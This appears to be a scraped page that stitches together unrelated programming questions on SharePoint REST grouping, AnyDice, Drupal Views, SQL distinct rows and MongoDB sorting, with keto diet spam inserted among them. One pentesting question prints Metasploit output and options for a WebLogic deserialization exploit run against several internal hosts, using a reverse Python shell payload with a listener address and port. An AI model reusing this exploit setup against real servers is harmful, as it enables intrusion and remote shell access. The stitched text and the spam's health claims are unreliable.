Grouping SharePoint REST API results

I am building a customized events feed via REST query. I have a feed of all events in the calendar, filtered on date range and sorted, but I’d like to take it a step further and group the results by the day of the week. In my calendar list I have a DayOfWeek property that I am able to output via a groupBy function found on another thread:

function getListItems(url, listname, query, complete, failure) {     $  .ajax({         url: url + "/_api/web/lists/getbytitle('" + listname + "')/items" + query,         method: "GET",         headers: { "Accept": "application/json; odata=verbose" },         success: function (data) {             complete(data.d.results);          },         error: function (data) {             failure(data);         }     }); } function groupBy(items,propertyName) {     var result = [];     $  .each(items, function(index, item) {        if ($  .inArray(item[propertyName], result)==-1) {           result.push(item[propertyName]);        }     });     return result; }  getListItems('https://MYSP.sharepoint.com','Events','?select=Title,DayOfWeek',     function(items){            var daysOfWeek = groupBy(items,'DayOfWeek');        console.log(daysOfWeek);     },     function(error){        console.log(JSON.stringify(error));     } ); 

I am also able to populate a full events feed with the code below. What I am not sure how to accomplish is to now take the full results from my REST query and group the results by the daysOfWeek.

var a = new Date(); a = a.setDate(a.getDate() + 5); var d = new Date(a); var n = d.toISOString();     $  .ajax({ url: "/_api/web/lists/getbytitle('Events')/items?$  select=Title,EventDate,Location,CleanDate,DayOfWeek&$  top=10&$  orderby=EventDate&$  filter=EventDate le '" + n + "' and EventDate ge '"+new Date().toISOString()+"'", type: "GET", headers: {"Accept": "application/json;odata=verbose"}, cache:false,                 success: function(data){ console.log(data); var items = []; $  (data.d.results).each(function(){ items.push('<ul id="' + 'listUL' + '">' +  '<li id="' + 'listLI' + '">' + '<h1 class="dayHeader">' + this.DayOfWeek + this.EventDate + '</h1>' + '<p>' + this.Title + this.EventDate + this.Location + '</p>' + '</li>' +  '</ul>'); }); items.push("</div>"); $  ("#listResult").html(items.join(''))} });  

How could I combine these two approaches to achieve an events feed where items are grouped under the Day headings? Any tips would be greatly appreciated as I’m new to using REST.

Anydice function when I can lower the 3d20 results

In Neuroshima system you throw 3D20, ignore the highest result and use your skill to lower the results on 2 remaining dice, to get them below your characteristic value, such us agility. Example: {12, 11, 17} skill 3, characteristic 11 – ignore 17, lower the other two to 10 and 10, so it’s a pass {2, 18, 19} skill 5, characteristic 12 – ignore one 19, lower other 19 to 13, still a failure though, as one would need 12 od that die.

I tried to create a function of my own, with skill level fixed to 1 to make a baby step, but failed nonetheless.

function: neuro {

DICE:3D20

MID: 2@DICE

LOW: 3@DICE

MID:MID-1

ROLL: [sort {LOW, MID}]

result: 1@ROLL

}

Result of this is 20 100% and I don’t know why. It’s probably, because LOW and MID are “d” (dice) and sorting them is sort of wrong, I think?

Has anyone did anything similar to give me advice on it?

Drupal 8 Views select the same number of results for every group

I have views where I select nodes and group all results in 3 groups by field. When I select for example a limit to 30 I get results but with the different count in every group (for example 20/7/3). What I can use to select for example 10 most relevant results in every group. I can do it with query alter or maybe need to create some plugin?

Custom JS produces different results based on user’s permission level in SP 2013

HELP! I understand this question is a bit vague, however, that is because I have never run into this issue before and I have no idea where to start.

Anyone who can share a similar experience and what they did to solve the problem is a Godsend

I have custom JS for an uploader that ingests excel files, parses the data and put that data into SharePoint lists. It uses the following libraries: xlsx.core.min.js, xlsx.full.min.js, and jquery.min.js.

This uploader behaves differently depending upon the permission level of the person attempting to do the upload. IE – you must have full control or be an SCA for it to work as intended. None of the scripts make a reference to other subsites, everything is local. I have never heard of this before and am having trouble finding help online for this topic.

Any takers??

How do I limit query results, when distinct isn’t distinct?

I have a bill of material file that I am trying to reduce to only the unique parts, and related data for the line. The problem I’m running into is multiple instances of a part number due to variations in the formatting or language in the part name from the system/s that a third party pulls the data from. pn123 part_name pn123 Part-name pn123 Part name pn123 German name

All other fields I select are equal, how do I limit this in the where clause to just one instance of the above for all different part numbers? Is there an equivalent to MAX() in a text string?

I am working around the issue in excel, by deleting the dupes.

select distinct  adhoc.ats_esh.Customs_Entry_Num [VIN]as [Qlickview VIN] ,[Build_Date] ,[BOM_Level] ,[9802].[Supplier] ,[Part_number] ,[Part_Name] *******THIS IS THE PROBLEM FIELD******* ,[Unit_Price] ,[Usage] ,[Extended_Price]  from    adhoc.IMFM_9802_EU_AP [9802] inner join ADHOC.ATS_ESL     ON [9802].VIN = ADHOC.ATS_ESL.Part_Num         inner join adhoc.ATS_ESH     ON ADHOC.ATS_ESH.Trans_SK = ADHOC.ATS_ESL.Trans_SK        where  adhoc.ats_esh.importer ='ACME_CO' and adhoc.ATS_ESH.ENTRY_SUMMARY_DATE >= '2/01/2018' And adhoc.ATS_ESH.ENTRY_SUMMARY_DATE < '3/01/2018' AND adhoc.ats_esl.Supplier in('supplier1','supplier2','supplier3')  --and adhoc.ats_esl.Part_Num like '%ABC%'  --and [BOM_Level] = '1' --**** use MAX() 

Using ‘replace’ for URLs in Search Results display template?

I am building a work-around for an issue I’ve encountered with a product catalog. For some reason, the CSWP and Search Results web part are displaying spaces in the managed metadata term at the end of the friendly URL with ‘%20’ instead of hyphens. I’m admittedly not a developer, but I’m learning my way around…

That said- is there a script that I can add to the Search Results “Item-Default” template that would take ‘ctx.CurrentItem.Path’ and replace the ‘%20’ with a dash? I’ve tried piecing together similar scripts from other sites, but the URL never changes. Any assistance would be greatly appreciated!

Quick Results Keto

Quick Results Keto Remember that cured meats are not on your healthy consuming plan for weight reduction resulting from excessive sodium, and fat. I do, however, keep monitor of my meals and number of servings of protein, veggies, fats, starches and fruits I have in a day. To know more of the benefits that herbalife Quick Results Keto merchandise can do for you, here is a listing of the benefits. Maintain in your thoughts that…

Quick Results Keto

Metasploit Starts attacking multiple targets, results in “address is already in use”

I am attempting to pentest multiple Weblogic servers, however, when I

“run” or “exploit” or even “exploit -J”,

metasploit begins to attack multiple targets at once, which results in “address is already in use”

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > run [*] Exploiting target 192.168.27.24 [*] Exploiting target 192.168.27.25 [*] Started reverse TCP handler on 192.168.27.10:4444 [*] Exploiting target 192.168.27.26 [-] Handler failed to bind to 192.168.27.10:4444:-  - [-] Handler failed to bind to 0.0.0.0:4444:-  - [-] 192.168.27.26:7001 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). 

Here are my options

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > show options  Module options (exploit/multi/misc/weblogic_deserialize_unicastref):  Name     Current Setting                                Required  Description ----     ---------------                                --------  ----------- RHOSTS   file:/tmp/msf-db-rhosts-20190415-21066-ez3gp8  yes       The target address range or CIDR identifier RPORT    7001                                           yes       The target port (TCP) SRVHOST  0.0.0.0                                        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT  8080                                           yes       The local port to listen on. SSL      false                                          no        Negotiate SSL for incoming connections SSLCert                                                 no        Path to a custom SSL certificate (default is randomly generated)   Payload options (cmd/unix/reverse_python):  Name   Current Setting  Required  Description ----   ---------------  --------  ----------- LHOST  192.168.27.10    yes       The listen address (an interface may be specified) LPORT  4444             yes       The listen port SHELL  /bin/bash        yes       The system shell to use.   Exploit target:  Id  Name --  ---- 0   Unix 

any ideas what I might be doing wrong?

MongoDB sort yielding unusual results

I have this database which I need to sort in descending order. However when I run the following query:

  db.collection.find({},{_id:0, name:0, date:0, __v:0}).sort({score: -1}) 

it yields this

{ "score" : "5" } { "score" : "3" } { "score" : "3" } { "score" : "12" } { "score" : "1" } { "score" : "1" } { "score" : "-6" } { "score" : "-3" } { "score" : "-1" } 

Why is my query not yielding properly sorted documents and how should I fix this? Thanks on beforehand! Is the scores formatted as strings? If so is there a way around it?